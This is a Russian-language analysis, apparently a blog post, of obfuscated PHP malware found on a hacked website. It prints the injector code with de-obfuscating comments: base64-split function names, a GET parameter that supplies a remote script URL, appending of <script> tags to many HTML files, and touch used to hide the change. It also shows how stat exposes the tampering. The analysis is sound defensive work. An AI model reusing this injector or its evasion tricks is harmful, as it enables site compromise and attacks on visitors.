Следующих код был взят из двух файлов, залитых на взломанный сайт. В каждом из файлов код состоял из трех блоков. Первый блок был почти одинаковым, массив функций, закодированный в base64:
$GLOBALS['_482181972_'] = Array( base64_decode( 'Z' .'mlsZ' .'V9' .'nZ' .'XRfY29u' .'dGV' .'udHM' .'=' ), // file_get_contents base64_decode( 'c3Ry' .'c' .'G' .'9z' ), // strpos base64_decode( 'ZmlsZW10' .'a' .'W' .'1l' ), // filemtime base64_decode( 'Zm9wZW4=' ), // fopen base64_decode( 'Z' .'ndyaXRl' ), // fwrite base64_decode( '' .'ZmN' .'sb3Nl' ), // fclose base64_decode( 'dG91Y2g=' ) // touch );
Различие было в том, что в каждой закодированной строке случайным образом было вставлено “’ .’”. Это исключает поиск в файлах по строке – функции, закодированной в base64.
Во втором блоке была функция, которая декодировала и отдавала элемент массива, в котором тоже были строки в base64 кодировке:
function _2060801314( $i ) { $a = Array( 'c3Jj', // src 'ZG9tYWluMS5jb20=', // domain1.com 'ZG9tYWluMi5jb20=', // domain2.com 'ZG9tYWluMy5jb20=', // domain3.com ... 'PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0i', // <script type="text/javascript" src=" 'Ij48L3NjcmlwdD4=', // "></script> '', 'Lmh0bWw=', // .html 'YQ==' // a ); return base64_decode( $a[$i] ); }
В одном файле был список доменов, а во втором – список путей к файлам.
Третий блок в файлах отличался массивами и проходом по ним. Код очень похож, поэтому приведу причесанный код из первого файла с комментариями:
<?php $_0 = $_GET[_2060801314(0)]; // это $_GET['src'] // src передается в запросе к файлу и содержит код для вставки // https://domain.tld/file.js if (isset( $_0 )) { $_1 = array( _2060801314(1)=> round( 0 + 1.25 + 1.25 + 1.25 + 1.25 ), _2060801314(2)=> round( 0 + 9 ), _2060801314(3)=> round( 0 + 3 + 3 + 3 ), ... _2060801314(12)=> round( 0 + 0.8 + 0.8 + 0.8 + 0.8 + 0.8 ) ); // в массиве ключ - имя домена, значение - к-во итераций. [1] // для записи кода в пронумерованные файлы // быстро декодировать массив можно взяв функцию и массив // и запустить print_r($_1); $_2 = _2060801314( 13 ) .$_0 ._2060801314( 14 ); // сборка строки для вставки, здесь уже будет строка // <script type="text/javascript" src="https://domain.tld/file.js"></script> foreach ($_1 as $_3 => $_4) { for ($_5 = round(0); $_5++ < $_4;) { // проход по файлам от 1 до максимального из массива $_1 (см. [1]) if ($_5 == round( 0 + 0.25 + 0.25 + 0.25 + 0.25 )) { $_6 = _2060801314( 15 ); // $_6 - номер файла // если $_5 = 1, $_6 - пустая строка, // т.к. файлы нумеруются с 2, 1-й без номера } else { $_6 = $_5; } $_7 = "/path/to/{$_3}/scj/top/top" . $_6 . _2060801314( 16 ); // $_3 - имя домена, формируется полный путь к файлу top$_6.html, $_8 = $GLOBALS['_482181972_'][0]( $_7 ); // file = file_get_contents(filename) if (!$_8) continue; $_9 = $GLOBALS['_482181972_'][1]( $_8, $_2 ); // strpos(file, script) - есть ли в файле скрипт if ($_9 != false) continue; // скрипт добавляется только если в файле его нет $_10 = $GLOBALS['_482181972_'][2]( $_7 ); // savedtime = filemtime(filename) $_11 = $GLOBALS['_482181972_'][3]( $_7, _2060801314( 17 ) ); // fileptr = fopen(filename, 'a') $GLOBALS['_482181972_'][4]( $_11, $_2 ); // fwrite(fileptr, script) $GLOBALS['_482181972_'][5]( $_11 ); // fclose(fileptr) $GLOBALS['_482181972_'][6]( $_7, $_10 ); // touch(filename, savedtime) } } exit; } ?>
Единственный “недостаток” touch в том, что [на FreeBSD] он не изменяет дату Change, можно посмотреть
stat -x filename
и узнать, когда касались файла. Или посмотреть третью дату в выводе
stat filename